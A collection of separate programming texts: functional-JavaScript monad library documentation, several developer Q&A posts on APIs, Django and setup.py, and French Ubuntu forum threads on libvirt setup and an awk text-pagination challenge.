Maybe[A].ap(Maybe[A->B]): Maybe[B]
The ap function implements the Applicative Functor pattern. It takes as a parameter another Maybe type which contains a function, and then applies that function to the value contained in the calling Maybe.
It may seem odd to want to apply a function to a monad that exists inside another monad, but this is particular useful for when you have a curried function being applied across many monads.
Here is an example for creating a string out of the result of a couple of Maybes. We use curry() which is a pimped method on Function so we can partially apply.
var person = function (forename, surname, address) {
return forename + " " + surname + " lives in " + address
}.curry()
var maybeAddress = Maybe.just('Dulwich, London')
var maybeSurname = Maybe.just('Baker')
var maybeForename = Maybe.just('Tom')
var personString = maybeAddress
.ap(maybeSurname
.ap(maybeForename.map(person))).just()
// result: "Tom Baker lives in Dulwich, London"
For further reading see this excellent article.
Maybe[A].toEither(fail: E): Either[E,A]
Converts a Maybe to an Either
Maybe[A].toValidation(fail: E): Validation[E,A]
Converts a Maybe to a Validation.
Maybe[A].toList: List[A]
Converts to a list, returns an Empty list on None.
Either (or the disjunct union) is a type that can either hold a value of type A or a value of type B but never at the same time. Typically it is used to represent computations that can fail with an error. Think of it as a better way to handle exceptions. We think of an Either as having two sides, the success is held on the right and the failure on the left. This is a right biased either which means that map and flatMap (bind) will operate on the right side of the either.
var success = Either.Right(val);
var failure = Either.Left(val);
or with the pimped methods on object:
var success = val.right()
var failure = "some error".left()
Either[E,A].map(fn: A -> B): Either[E,B]
This will apply the supplied function over the right side of the either, if one exists, otherwise it returns the Either untouched.
For example:
Right(123).map(function (e) {return e+1})
// result: Right(124)
Left("grr").map(function (e) {return e+1})
// result: Left("grr")
Either[E,A].flatMap(fn: A -> Either[E,B]): Either[E,B]
This will perform a monadic bind over the right side of the either, otherwise it will do nothing.
Either[E,A].ap(v: Either[E, A -> B]): Either[E,B]
This takes an either that has a function on the right side of the either and then applies it to the right side of itself. This implements the applicative functor pattern.
Either[E,A].cata(leftFn: E -> X, rightFn: A ->X): X
The catamorphism for either. If the either is right the right function will be executed with the right value and the value of the function returned. Otherwise the left function will be called with the left value.
For example:
var result = either.cata(function(failure) {
return "oh dear it failed because " + failure
}, function(success) {
return "yay! " + success
})
Either[A,B].bimap(leftFn: A->C, rightFn: B->D): Either[C,D]
Either[E,A].isRight(): Boolean
Returns true if this Either is right, false otherwise.
Either[E,A].isLeft(): Boolean
Returns true if this Either is left, false otherwise.
Either[E,A].right(): A
Returns the value in the right side, otherwise throws an exception.
Either[E,A].left(): E
Returns the value in the left side, otherwise throws an exception.
Either[E,A].toValidation(): Validation[E,A]
Converts the Either to a Validation.
Either[E,A].toMaybe(): Maybe[A]
Converts to a Maybe dropping the left side.
Validation is not quite a monad as it doesn’t quite follow the monad rules, even though it has the monad methods. It that can hold either a success value or a failure value (i.e. an error message or some other failure object) and has methods for accumulating errors. We will represent a Validation like this: Validation[E,A] where E represents the error type and A represents the success type.
var success = Validation.success(val);
var failure = Validation.fail("some error");
or with pimped methods on an object
var success = val.success();
var failure = "some error".fail();
Validation[E,A].map(fn:A -> B): Validation[E,A]
map takes a function (A -> B) and applies that function to the value inside the success side of the Validation and returns another Validation.
For example:
Validation.success(123).map(function(val) { return val + 1})
//result: Success(124)
Validation[E,A].bind(fn:A -> Validation[E,B]) : Validation[E,B]
bind takes a function that takes a value and returns an Validation. The value to the function will be supplied from the Validation you are binding on.
For example:
validation.bind(function(val) {
if (val == "hi") {
return Validation.success("world")
} else {
return Validation.fail("wow, you really failed.")
}
})
Validation[E,A].isSuccess() : Boolean
Will return true if this is a successful validation, false otherwise.
Validation[E,A].isFail() : Boolean
Will return false if this is a failed validation, true otherwise.
Validation[E,A].success() : A
Will return the successful value.
Validation[E,A].fail() : E
Will return the failed value, usually an error message.
Validation[E,A].ap(v: Validation[E, A->B]) : Validation[E,B]
Implements the applicative functor pattern. ap will apply a function over the validation from within the supplied validation. If any of the validations are fails then the function will collect the errors.
var person = function (forename, surname, address) {
return forename + " " + surname + " lives at " + address
}.curry();
var validateAddress = Validation.success('Dulwich, London')
var validateSurname = Validation.success('Baker')
var validateForename = Validation.success('Tom')
var personString = validateAddress.ap(validateSurname
.ap(validateForename.map(person))).success()
// result: "Tom Baker lives at Dulwich, London"
var result = Validation.fail(["no address"])
.ap(Validation.fail(["no surname"])
.ap(validateForename.map(person)))
// result: Validation(["no address", "no surname"])
Validation[E,A].cata(failureFn: E->X, successFn: A->X): X
The catamorphism for validation. If the validation is success the success function will be executed with the success value and the value of the function returned. Otherwise the failure function will be called with the failure value.
For example:
var result = v.cata(function(failure) {
return "oh dear it failed because " + failure
}, function(success) {
return "yay! " + success
})
Validation[E,A].toEither(): Either[E,A]
Converts an Either to a Validation
Validation[E,A].toMaybe(): Maybe[A]
Converts to a Maybe dropping the failure side.
An immutable list is a list that has a head element and a tail. A tail is another list. The empty list is represented by the Nil constructor. An immutable list is also known as a “cons” list. Whenever an element is added to the list a new list is created which is essentially a new head with a pointer to the existing list.
The easiest way to create a list is with the pimped method on Array, available in monet-pimp.js.
var myList = [1,2,3].list()
which is equivalent to:
var myList = List(1, List(2, List(3, Nil)))
As you can see from the second example each List object contains a head element and the tail is just another list element.
List[A].cons(a: A) : List[A]
cons will prepend the element to the front of the list and return a new list. The existing list remains unchanged.
For example:
var newList = myList.cons(4)
// newList.toArray() == [4,1,2,3]
// myList.toArray() == [1,2,3]
cons is also available as a pimped method on Object.prototype:
var myList = ["a","b","c"].list()
var newList = "z".cons(myList)
newList.toArray() == ["z","a","b","c"]
List[A].map(fn: A->B): List[B]
Maps the supplied function over the list.
var list = [1,2,3].list().map(function(a) {
return a+1
})
// list == [2,3,4]
List[A].flatMap(fn: A -> List[B]): List[B]
Maps the supplied function over the list and then flattens the returned list. The supplied function must return a new list.
List[A].head(): A
Returns the head of the list.
For example:
[1,2,3].list().head()
//result: 1
List[A].headMaybe(): Maybe[A]
Returns the optional head of the list.
For example:
[1,2,3,4].list().headMaybe()
// result: Some(1)
Nil.headMaybe()
// result: None()
List[A].foldLeft(initialValue: B)(fn: (acc:B, element:A) -> B): B
foldLeft takes an initial value and a function and will ‘reduce’ the list to a single value. The supplied function takes an accumulator as its first value and the current element in the list as its second argument. The returned value from the function will be pass into the accumulator on the subsequent pass.
For example, say you wanted to add up a list of integers, your initial value would be 0 and your function would return the sum of the accumulator and the passed in element.
var myList = [1,2,3,4].list()
var sum = myList.foldLeft(0)(function(acc, e) {
return e+acc
})
// sum == 10
List[A].foldRight(initialValue: B)(fn: (element: A, acc: B) -> B): B
Performs a fold right across the list. Similar to foldLeft except the supplied function is first applied to the right most side of the list.
List[A].append(list: List[A]) : List[A]
Will append the second list to the current list. Both list must be of the same type.
For example:
var list1 = [1,2,3].list()
var list2 = [4,5,6].list()
var list3 = list1.append(list2)
// list3.toArray() == [1,2,3,4,5,6]
List[Monad[A].sequence(Monad): Monad[List[A]]
Will sequence a list of monads. The signature above is slightly hard to represent, but this function will sequence a list of any type of monad, but you will need to supply the name of the monad you are sequencing.
Note: This version of sequence will only work with Monads that can cope with eager evaluations. For lazy monads such as IO and Reader please use lazySequence or the explicit versions, such as sequenceIO.
For example:
[1.right(), 2.left()].list().sequence(Either) // For Eithers
[1.some(), 2.none()].list().sequence(Maybe)
Or you can use the convenience methods like sequenceMaybe or sequenceEither below. Note that since Validation is not a true monad it will not work as expected for this method; use sequenceValidation instead.
List[Monad[A].lazySequence(Monad): Monad[List[A]]
This is the same as sequence except it caters for Monads that require laziness, such as IO and Reader.
List[Maybe[A]].sequenceMaybe(): Maybe[List[A]]
Takes a list of Maybes and turns it into a Maybe List. If the list contains at least one None value then a None will be returned, otherwise a Some will be returned with a list of all the values.
For example:
var sequenced = [Some(1), Some(2), Some(3)].list().sequenceMaybe()
// sequenced == Some([1,2,3]) <- That's an immutable list not an array
var sequenced = [Some(1), Some(2), None, Some(3), None].list().sequenceMaybe()
// sequenced == None
This is the same as calling:
[Some(1), Some(2)].sequence(Maybe)
List[Either[E,A]].sequenceEither(): Either[E, List[A]]
This will sequence a List of Eithers stopping on the first Left that it finds. It will return either a List of the Right values or the first Left value it encounters.
For example:
[1.right(), 2.right(), 3.right()].list().sequenceEither() == Right(List(1,2,3))
[1.right(), 2.left(), 3.left()].list() == Left(2)
Note: Unlike sequenceValidation it does not accumulate the Left (or “failing”) values, but rather stops execution and returns the first Left.
List[Validation[E,A]].sequenceValidation(): Validation[List[E], List[A]]
Takes a list of Validations and turns it into a Validation List. It will collect all the success values into a list on the Success side of the validation or it accumulates the errors on the Failure side, if there are any failures.
var sequenced = ["a".success(), "b".success(), "c".success()]
.list().sequenceValidation()
// sequenced == Success(["a", "b", "c"])
var sequenced = ["a".success(),
"b".success(),
"c".fail(),
"d".fail(),
"e".success()]
.list().sequenceValidation()
// sequenced == Fail(["c","d"])
List[IO[A]].sequenceIO(): IO[List[A]]
Will sequence a list of IO actions.
List[Reader[A]].sequenceReader(): Reader[List[A]]
Will sequence a list of Readers.
List[A].reverse(): List[A]
Returns a new list reversed.
var list = [1,2,3].list().reverse()
// list.toArray() == [3,2,1]
Much like the immutable list, a Non Empty List can never be empty. It implements the comonad pattern. It has a guaranteed head (total) and a guaranteed (total) tail.
var nonEmptyList = NonEmptyList(1, [2,3,4].list())
// alias
var nonEmptyList = NEL(1, [2,3,4].list())
// or
var nonEmptyList = NonEmptyList(1, Nil)
// or fromList which returns a Maybe[NonEmptyList].
var maybeNonEmptyList = NonEmptyList.fromList([1,2,3,4].list())
Trying to create an empty NonEmptyList will throw an exception.
NEL[A].map(fn: A -> B): NEL[B]
Maps a function over a NonEmptyList.
NEL[A].bind(fn: A -> NEL[B]): NEL[B]
Performs a monadic bind over the NonEmptyList.
NEL[A].head(): A
Returns the head of the NonEmptyList. Also known as copure or extract this is part of the comonad pattern.
NEL[A].tail(): List[A]
Returns the tail of the NonEmptyList.
NEL[A].tails(): NEL[NEL[A]]
Returns all the tails of the NonEmptyList. Also known as cojoin this is part of the comonad pattern. A list is considered a tail of itself.
For example:
NEL(1, [2,3,4].list()).tails()
//result: [
// [ 1, 2, 3, 4 ],
// [ 2, 3, 4 ],
// [ 3, 4 ],
// [ 4 ]
// ]
NEL[A].mapTails(fn: NEL[A] -> B): NEL[B]
Maps a function over the tails of the NonEmptyList. Also known as cobind this is part of the comonad pattern.
For example:
nonEmptyList.cobind(function (nel) {
return nel.foldLeft(0)(function(a,b){
return a+b
})
}
//result: [10,9,7,4]
NEL[A].append(n: NEL[A]): NEL[A]
Appends two NonEmptyLists together.
NEL[A].reverse(): NEL[A]
Reverses the NonEmptyList.
NEL.fromList(List[A]): Maybe[NEL[A]]
Returns an optional NonEmptyList. If the supplied List is empty the result will be a None, otherwise a NonEmptyList wrapped in a Some (or Just).
The IO monad is for isolating effects to maintain referential transparency in your software. Essentially you create a description of your effects of which is performed as the last action in your programme. The IO is lazy and will not be evaluated until the perform (alias run) method is called.
var ioAction = IO(function () { return $("#id").val() })
IO[A](fn: () -> A): IO[A]
The constructor for the IO monad. It is a purely functional wrapper around the supplied effect and enables referential transparency in your software.
IO[A](fn: A -> IO[B]): IO[B]
Perform a monadic bind (flatMap) over the effect. It takes a function that returns an IO. This will happen lazily and will not evaluate the effect.
Examples: see below
IO[A](fn: A -> B): IO[B]
Performs a map over the result of the effect. This will happen lazily and will not evaluate the effect.
Evaluates the effect inside the IO monad. This can only be run once in your programme and at the very end.
Wraps a supplied function in an IO. Assumes no arguments will be supplied to the function.
function() { return $("#id") }.io()
Returns a function that will return an IO when one parameter is supplied.
function(id) { return $(id) }.io1()
or more simply
$.io1()
Say we have a function to read from the DOM and a function to write to the DOM. This example uses jQuery.
var read = function(id) {
return $(id).text()
}
var write = function(id, value) {
$(id).text(value)
}
On their own both functions would have a side effect because they violate referential transparency. The read function is dependent on an ever changing DOM and thus subsequent calls to it would not produce the same result. The write function obviously mutates the DOM and so it too is not referentially transparent, as each time it is called, an effect occurs.
We can modify this functions so that instead of performing these side-effects they will just return an IO with the yet-to-be-executed function inside it.
var read = IO(function (id) { return $(id).text() })
var write = function(id) {
return IO(function(value) {
$(id).text(value)
})
}
You can call write(id) until you are blue in the face but all it will do is return an IO with a function inside.
We can now call map and flatMap to chain this two effects together. Say we wanted to read from a div covert all the text to uppercase and then write back to that div.
var toUpper = function (text) { return text.toUpperCase() }
var changeToUpperIO = read("#myId").map(toUpper).flatMap(write("#myId"))
So what is the type of changeToUpperIO? Well it is the IO type. And that means at this stage, nothing has been executed yet. The DOM has not been read from, the text has not been mapped and the DOM has not been updated. What we have is a referentially transparent description of our programme.
In other pure functional languages such as Haskell we would simply return this type back to the runtime, but in JavaScript we have to manage this ourselves. So now let’s run our effect.
changeToUpperIO.run()
Now our DOM should be updated with the text converted to upper case.
It becomes much clearer which functions deal with IO and which functions simply deal with data. read and write return an IO effect but toUpper simply converts a supplied string to upper case. This pattern is what you will often find in your software, having an effect when you start (i.e. reading from a data source, network etc), performing transformations on the results of that effect and finally having an effect at the end (such as writing result to a database, disk, or DOM).
The Reader monad is a wonderful solution to inject dependencies into your functions. There are plenty of great resources to get your teeth into the Reader monad such as these great talks.
The Reader monad provides a way to “weave” your configuration throughout your programme.
Say you had this function which requires configuration:
function createPrettyName(name, printer) {
return printer.write("hello " + name)
}
Calling this function from other functions that don’t need the dependency printer is kind of awkward.
function render(printer) {
return createPrettyName("Tom", printer)
}
One quick win would be to curry the createPrettyName function, and make render partially apply the function and let the caller of render supply the printer.
function createPrettyName(name, printer) {
return printer.write("hello " + name)
}.curry()
function render() {
return createPrettyName("Tom")
}
This is better, but what if render wants to perform some sort of operation on the result of createPrettyName? It would have to apply the final parameter (i.e. the printer) before createPrettyName would execute.
This where the Reader monad comes in. We could rewrite createPrettyName thusly:
function createPrettyName(name) {
return Reader(function(printer) {
return printer.write("hello " + name)
})
}
To sweeten up the syntax a little we can also write:
function createPrettyName(name, printer) {
return printer.write("hello " + name)
}.reader()
So now, when a name is supplied to createPrettyName the Reader monad is returned and being a monad it supports all the monadic goodness.
We can now get access to the result of createPrettyName through a map.
function reader() {
return createPrettyName("Tom").map(function (s) { return "---"+s+"---"})
}
The top level of our programme would co-ordinate the injecting of the dependency by calling run on the resulting Reader.
reader().run(new BoldPrinter())
Reader[A].map(f: A -> B): Reader[B]
Maps the supplied function over the Reader.
Reader[A].bind(f: A -> Reader[B]): Reader[B]
Performs a monadic bind over the Reader.
Reader[A].ap(a: Reader[A->B]): Reader[B]
Applies the function inside the supplied Reader to the value A in the outer Reader. Applicative Functor pattern.
Reader[A].run(config)
Executes the function wrapped in the Reader with the supplied config.
The Free monad is a monad that is able to separate instructions from their interpreter. There are many applications for this monad, and one of them is for implementing Trampolines, (which is a way to make recursion constant stack for languages that don’t support tail call elimination, like JavaScript!).
The Free monad has two constructors, Suspend and Return, which represents the continuation of a calculation and the completion of one, respectively.
Return(a: A): Free[F[_], A]
Suspend(f: F[Free[F,A]]): Free[F[_], A]
var a = Return(1)
var sum = Suspend(Identity(Return(1))
// or
var sum = Free.liftF(Identity(1))
As you may see, Return wraps a value A, where as Suspend, wraps a Functor containing another Free.
Free[F[_], A].map(f: A -> B): Free[F[_],B]
Performs a map across the value inside the functor.
Free[F[_],A].bind(f: A -> Free[F[_], B]): Free[F[_],B]
Performs a monadic bind over the Free.
Free.liftF(F[A]): Free[F,A]
Lifts a Funtor F into a Free.
Free[F[_],A].resume(): Either[F[Free[F,A]] , A]
Evalutates a single layer in the computation, returning either a suspension or a result.
Free[F[_],A].go(f: F[Free[F, A]] -> Free[F, A]) : A
Runs the computation to the end, returning the final result, using the supplied functor f to extract the next Free from the suspension.
Free[Function, A].run(): A
This function only makes sense for Tampolined computations where the supplied functor is a Function. This will run the computation to the end returning the result A.
Function composition. f.compose(g) is equivalent to:
function compose(x) {
return f(g(x))
}
Function composition flipped. f.andThen(g) is equivalent to:
function compose(x) {
return g(f(x))
}
This method on function will curry that function so that it can be partially applied. This implementation is quite flexible and allows a method to be applied in the following ways:
var sum = function(a,b,c) {
return a+b+c
}.curry()
sum(1) // will return a function that takes b and c
sum(1,2)
//or
sum(1)(2) // will return a function that takes c
sum(1,2,3)
//or
sum(1)(2)(3)
//or
sum(1,2)(3)
//or
sum(1)(2,3)
// or nearly any other combination...
// will return 6
|
Is there an API function to get the contents of the user's inbox? For example, my inbox looks kind of like this:
2 comments on
Bash Prompt keeps disappearing
What does that PS1 accomplish that PS1='\u@\h
comment on
Get the current response from a RequestContext
When you say 'get_request()' you are referring
Is there a way to get this information? I'd essentially like to mimic the functionality of the inbox in my external application.
Otherwise, it looks like I'll be making a lot of queries and storing info in a local database and watching changes... not fun:
for question in get_user_questions():
archived_question = None
if has_archived_question(question):
archived_question = get_archived_question()
for comment in get_question_comments(question):
if archived_question and comment not in archived_question.comments:
notify_new_comment(comment)
archived_question.comments.append(comment)
else:
notify_new_comment(comment)
for answer in get_question_answers(question):
if archived_question and answer not in archived_question.answers:
notify_new_answer(answer)
archived_question.answers.append(answer)
else:
notify_new_answer(answer)
for comment in get_answer_comments(answer)
....
ad infinitum. I can only imagine how many queries this will generate just to simply find all new comments and answers for a given user. Is there an optimized way of doing this?
|
vhorax
Bug Installation de KVM Ubuntu 12.10
Bonsoir,
Je débute sur Ubuntu et je vient d'installer le Gestionnaire de Machine Virtuelle via la logithèque Ubuntu et quand je le démarre il me met se message:
Impossible de se connecter à libvirt.
Verify that:
- The 'libvirt-bin' package is installed
- The 'libvirtd' daemon has been started
- You are member of the 'libvirtd' group
Libvirt URI is: qemu:///system
Traceback (most recent call last):
File "/usr/share/virt-manager/virtManager/connection.py", line 1027, in _open_thread
self.vmm = self._try_open()
File "/usr/share/virt-manager/virtManager/connection.py", line 1009, in _try_open
flags)
File "/usr/lib/python2.7/dist-packages/libvirt.py", line 102, in openAuth
if ret is None:raise libvirtError('virConnectOpenAuth() failed')
libvirtError: Failed to connect socket to '/var/run/libvirt/libvirt-sock': Permission non accordée
J'ai installer le Package en faisant :
sudo apt-get install libvirt-bin
Sa a fonctionné mais pas corrigé le problème et je comprend pas trop les autres choses à vérifier.
Voilà merci d'avance .
Dernière modification par vhorax (Le 09/01/2013, à 21:35)
Hors ligne
Haleth
Re : Bug Installation de KVM Ubuntu 12.10
C'est quoi le rapport avec kvm ?
Pour utiliser kvm:
#Créer une image
qemu-img create -f qcow2 machin.img 50G
#1st boot: cdrom
kvm machin.img -cdrom truc.iso
#Boot classique
kvm machin.img
Ubuntu is an ancien African word which means "I can't configure Debian"
Because accessor & mutator are against encapsulation (one of OOP principles), good OOP-programmers do not use them. Obviously, procedural-devs do not. In fact, only ugly-devs are still using them.
Hors ligne
vhorax
Re : Bug Installation de KVM Ubuntu 12.10
J'utilise en interface graphique et je ne peut pas créer mes machines virtuelles.
Je suis obliger de passer par le terminal ?
Dernière modification par vhorax (Le 09/01/2013, à 21:50)
Hors ligne
src
Re : Bug Installation de KVM Ubuntu 12.10
En gros tu dois installer :
-virt-manager
-libvirt
-kvm
Les 3 composants sont indépendants, donc installer l'un n'amène pas les autres.
Je donne les noms génériques, les paquets ne s'appellent pas forcément comme ça.
Ensuite tu vas lancer virt-manager et là tu n'auras qu'à créer une connexion localhost de type QEMU, tu pourras ainsi créer des VM.
Par contre virt-manager est assez austère, c'est très pro un peu comme Hyper-V. Si tu veux quelque chose de plus convivial je te recommande Virtualbox.
Dernière modification par src (Le 11/01/2013, à 00:34)
Actuellement sur Manjaro Xfce (amd64)
Serveur sur FreeBSD 10 (i386) + Debian GNU/kFreeBSD.
http://maniatux.fr
Hors ligne
|
I have 2 models as below
merchant
class MerchantProfile(StateModel):
class Meta:
verbose_name = "Merchant Profile"
ordering = ('name',)
def __unicode__(self):
return u'%s' % (self.name,)
user = models.OneToOneField(UserProfile, related_name="merchant_profile")
payment_card = models.OneToOneField(PaymentCard, related_name="merchant_profile")
current_state = models.IntegerField('State', choices=STATE_CHOICES)
name = models.CharField('Merchant Name', max_length=64)
Category
class Category(models.Model):
merchant = models.ForeignKey(MerchantProfile, related_name="category")
name = models.CharField(max_length=30)
is_active=models.BooleanField()
I have resource file as below
Child resource
class MerchantCategoryResource(ModelResource):
api_key = fields.CharField(attribute='merchant__user__api_key', readonly=True)
class Meta:
#get username from headers and apply filter query
queryset = Category.objects.all()
resource_name = 'merchantcategory'
#excludes = ['id','email', 'password', 'is_active', 'is_staff', 'is_superuser']
detail_allowed_methods = ['get']
default_format = "application/json"
filtering = {
'user_id': ALL,
'api_key':ALL
}
Parent resource
class MerchantAllResource(ModelResource):
category = fields.ToManyField(MerchantCategoryResource,'category')
class Meta:
#get username from headers and apply filter query
queryset = MerchantProfile.objects.all()
resource_name = 'merchantinfo'
#excludes = ['id','email', 'password', 'is_active', 'is_staff', 'is_superuser']
detail_allowed_methods = ['get']
default_format = "application/json"
filtering = {
'user_id': ALL,
'api_key':ALL
}
The output is
{"meta": {"limit": 20, "next": null, "offset": 0, "previous": null, "total_count": 1}, "objects": [{"category": ["/api/ecp/merchantcategory/1/"], "create_time": "2012-08-17T12:56:55", "current_state": 1, "id": 1, "modified_time": "2012-08-17T12:56:55", "name": "ram", "resource_uri": "/api/ecp/merchantinfo/1/", "utcStateCreated": null, "utcStateDisabled": null, "utcStateEnabled": null, "utcStateUnsubscribed": null}]
I need it as follows
{"meta": {"limit": 20, "next": null, "offset": 0, "previous": null, "total_count": 1}, "objects": [{"category": ["id": 1, "is_active": true, "name": "test1", "resource_uri": "/api/ecp/merchantcategory/1/"], "create_time": "2012-08-17T12:56:55", "current_state": 1, "id": 1, "modified_time": "2012-08-17T12:56:55", "name": "ram", "resource_uri": "/api/ecp/merchantinfo/1/", "utcStateCreated": null, "utcStateDisabled": null, "utcStateEnabled": null, "utcStateUnsubscribed": null}]
The bottom line is "i want to call all related objects with single rest api, instead of calling seperate rest api, which need multiple request"
|
How can I import or read the VERSION from the setup.py file so that I can log the version at runtime. This way I can make sure that the results obtained are from this particular version of my package.
The following is the contents of my setup.py file (simplified to have the necessary part)
import distutils.core
VERSION = '0.1.0'
LICENSE = 'GPLv2'
distutils.core.setup(**KWARGS)
When I try to do : import setup I get the following error:
distutils.core.setup(**KWARGS)
usr/lib/python2.6/distutils/core.pyc in setup(**attrs)
ok = dist.parse_command_line()
except DistutilsArgError, msg:
raise SystemExit, gen_usage(dist.script_name) + "\nerror: %s" % msg
if DEBUG:
SystemExit:
error: no commands supplied
|
nesthib
[JEU] challenge bash #6
Espaçeur de paragraphes
Imaginons un texte, celui-ci est composé de différents paragraphes. La plupart du temps un paragraphe sera coupé en deux à la fin d'une page. Le but de ce challenge est de réaliser un script qui formate le texte de façon à ce qu'un paragraphe ne soit jamais coupé entre deux pages.
Le script devra prendre en compte une variable définissant le nombre de caractères maximum par ligne et le nombre maximum de lignes par page.
bon courage
Hors ligne
nesthib
Re : [JEU] challenge bash #6
solution de nesthib en full awk :
#!/usr/bin/awk -f
BEGIN {
MAXCHAR = 100
MAXLINES = 74
# définition des séparateurs, RS permet de séparer les paragraphes et FS les lignes
FS="\n" ; RS="\n\n+"
available_lines = MAXLINES
}
# awk travaille sur chaque "record", ici chaque paragraphe
{
suppl_line = 0
delete lines_array
# cette boucle parcourt les lignes d'un paragraphe donné
for ( line=1 ; line<=NF ; line++) {
line_length = length($line)
if ( line_length <= MAXCHAR ) { # si la ligne ne dépasse pas le maximum, on la sauvegarde dans un array
lines_array[line] = $line
} else { # sinon on parcourt les mots
split($line, words_array, " ")
line_substr = ""
word_nb = 1
for ( count in words_array) { # pour chaque mot…
word = words_array[word_nb++]
if ( length(line_substr word) < MAXCHAR ) { # …s'il ne dépasse pas le max on l'ajoute
line_substr = line_substr word " "
} else { # sinon on ajoute un saut de ligne et on recommence
lines_array[line] = lines_array[line] line_substr "\n"
line_substr = word " "
suppl_line++
}
}
lines_array[line] = lines_array[line] line_substr
}
}
# on passe maintenant à l'affichage du paragraphe
if ( NF + suppl_line <= available_lines) { # s'il reste suffisamment de place…
for (line=1 ; line<=NF ; line++) { # on affiche le paragraphe
print lines_array[line]
}
if ( NF + suppl_line < available_lines) { # si le paragraphe n'est pas exactement de la
# taille disponible (en bas de page), on
# saute une ligne avant le nouveau paragraphe
printf "\n"
}
# on met à jour le nombre de lignes restant
available_lines -= ( NF + suppl_line +1 )
} else { # s'il ne reste pas assez de place…
if (FNR > 1) { # …et s'il ne s'agit pas du premier paragraphe…
for ( jump=1 ; jump <= ( available_lines ) ; jump++ ) { # on saute autant de lignes
# qu'il reste de la place
printf "\n"
}
}
for (line=1 ; line<=NF ; line++) { # puis on affiche le paragraphe sur la nouvelle page
print lines_array[line]
}
printf "\n" # on saute une ligne après le paragraphe
if ( NF + suppl_line > MAXLINES) { # si le paragraphe est plus grand que le maximum
# on calcule l'excédent de lignes
available_lines = MAXLINES - ( (NF + suppl_line) % MAXLINES + 1 )
} else { # sinon on retranche juste les lignes utilisées
available_lines = MAXLINES - (NF + suppl_line + 1)
}
}
}
END { }
et solution de totor (en full awk aussi le vil copieur ^^) :
#!/usr/bin/awk
BEGIN {
idxLigne=0
endLigne=rows
RS="\n([[:blank:]]*\n)+"
FS="\n"
}
{
# sauvegarde de la position actuelle
oldIdxLigne=idxLigne+1
for (nLigne=1; nLigne<=NF; nLigne++)
{
uneLigne=$nLigne
while (uneLigne != "")
{
# suppression des blancs en fin de ligne
gsub(/[[:blank:]]+$/,"",uneLigne)
idxLigne++
restant=""
# tant que la longueur de la ligne > nombre de colonne
while (length(uneLigne) > cols)
{
# recherche de la position du dernier mot
debut=match(uneLigne, /[[:space:]][^[:space:]]+$/)
if (debut == 0) debut=cols+1 # le dernier mot est plus long que le nombre de colonne autorisé
# on récupère le dernier mot de la ligne ou on tronque si le mot est plus long que le nombre de colonne
restant=substr(uneLigne, debut) "" restant
uneLigne=substr(uneLigne, 1, debut-1)
}
lesLignes[idxLigne]=uneLigne
# suppression du blanc de début de ligne issue de la recherche du dernier mot de la ligne
if (restant ~ /^[[:space:]]/) restant=substr(restant,2)
uneLigne=restant
}
}
add=0 # on a pas à afficher de ligne vièrge pour completer la page
if (idxLigne > endLigne && endLigne-rows+1 != oldIdxLigne) # si le dernier indice à afficher dépasse l'indice de fin de page et que l'indice de début d'affichage (oldIdxLigne) n'est pas l'indice de début de page
{
# alors on complète la page
add=endLigne-oldIdxLigne+1 # nombre de ligne vierge à afficher
for(idx=oldIdxLigne; idx<=endLigne; idx++)
print ""
}
# on affiche le paragraphe
for(idx=oldIdxLigne; idx<=idxLigne; idx++)
print lesLignes[idx]
# on repositionne l'indice d'affichage par rapport au nombre de ligne vierge ajoutées
idxLigne+=add
# si on est pas à la 1ere ligne de la page, on ajoute un saut de ligne pour dissocier les paragraphes
if (idxLigne != endLigne-rows+1) { print ""; idxLigne++ }
# re-calcul de l'indice de fin de page
while (endLigne < idxLigne)
endLigne+=rows
}
Hors ligne
Alambique
Re : [JEU] challenge bash #6
Loin de moi, le fait d'être réactionnaire, mais ce serait pas mieux de faire un challenge bash avec des scripts utiles?
EDIT:J'ai une autre proposition: un script bash qui télécharge chaque jour de la semaine une émission de radio ou de télévision (dont l'origine du flux est modifiable à souhait), qui nomme le fichier et qui le range dans le répertoire vidéo.
Enfin, c'est une idée parmis tant d'autres...
Dernière modification par Alambique (Le 11/03/2010, à 10:39)
Mal-pensant, mais résolument linuxien.
Hors ligne
nesthib
Re : [JEU] challenge bash #6
@Alambique : à chaque session il y a un lien pour envoyer tes propositions
le but de ces script est d'être utile (en l'occurrence celui là a été utile pour moi) dans le sens où cela montre des exemple pour faire toi-même tes propres scripts. Celui-ci a pour vocation de faire du traitement de flux de texte. Travailler avec les fichiers textes est un problème récurrent dans le monde Linux
Ta proposition est intéressante mais a déjà été réalisée de nombreuse fois sur ce forum, les concepts de bases (récupération d'url, téléchargement, tri de fichiers ont été traités en partie au cours des challenges).
Si tu as d'autres propositions n'hésite pas.
@tous : ceux qui se sentent l'âme de scripteurs invétérés peuvent nous rejoindre pour l'animation de ce challenge
Hors ligne
gilbert
Re : [JEU] challenge bash #6
hello,
juste une question. Ce jeu s'appelle challenge bash. Mais vu les exercices proposés, est-ce que le nom est bien approprié ?
En effet, ce n'est pas bash qui permet de réaliser ce genre de défis (géolocalisation IP, etc) mais bel et bien des commandes pour nos Unices adorés :-)
Je pense que ce genre de défi reflète plus la maitrise des différentes commandes que l'on peut trouver sous Linux que la maitrise du bash en lui même. Car on peut très bien réaliser la même chose en zsh, tcsh ou que ne sais-je encore, il n'y aura jamais une énorme différence les commandes ne dépendent pas du shell utilisé.
Un challenge bash ne devrait-il pas se focaliser d'abord sur le bash ?
Simplement moi-même..
Hors ligne
nesthib
Re : [JEU] challenge bash #6
je suis d'accord avec toi gilbert, mais si tu regardes les solutions proposées, nous essayons d'utiliser au maximum les possibilités de bash.
Après nous acceptons également (avec parcimonie) les solutions dans d'autres langages de scripting. Cela a été une de nos interrogations au moment de lancer le challenge. Personnellement je serais pour l'intégration d'autres langages de scripting (perl, ruby, python) après il faut pouvoir les juger et ne pas trop s'éparpiller.
En gros propose la solution que tu veux, le but principal reste d'apprendre et de s'amuser.
Hors ligne
gilbert
Re : [JEU] challenge bash #6
hello.
ok j'ai fait un petit truc alors, mais sans prétentions. Où est-ce que l'on poste le résultat ?
Simplement moi-même..
Hors ligne
gilbert
Re : [JEU] challenge bash #6
ok,
alors voici.. Bon ça ferait peur à n'importe quel informaticien (je n'en suis pas un) le traitement est brutal, ça coupe les mots sans prêter garde. Le procédé très (trop) itératif pourrait être simplifié en faisant plus d'action dans un seule même boucle. Mais par soucis de clarté, j'ai préférer décomposer étape par étape. J'ai essayé d'utiliser bash le plus possible.
usage : script nombreDeCharsParLigne nombreDeLigneParPage fichierATraiter
et le script :
#!/usr/bin/env bash
# Challenge bash 6 - forum ubuntu-fr
# Author : gilbert
# Date : 12.03.2010
